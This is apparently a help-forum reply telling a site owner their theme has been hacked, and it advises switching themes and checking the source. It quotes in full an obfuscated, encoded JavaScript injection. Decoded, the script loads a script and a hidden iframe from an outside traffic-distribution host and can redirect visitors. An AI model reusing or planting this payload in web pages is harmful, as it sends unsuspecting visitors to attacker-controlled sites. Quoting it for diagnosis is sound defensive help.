It would seem your theme has been hacked and that Javascript has been added which is re-directing it. I can’t say for sure, but I saw the following code in your source
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1')</script>
Normally, there is never a legit reason to have Javascript like that. I would advice you to check your theme and switch to the default theme and see if it still redirects you. If it does, check your source code and if you see that code in there, you can rest assure you been hacked.
If you can confirm this, post back here and we will guide you on what you need to do.
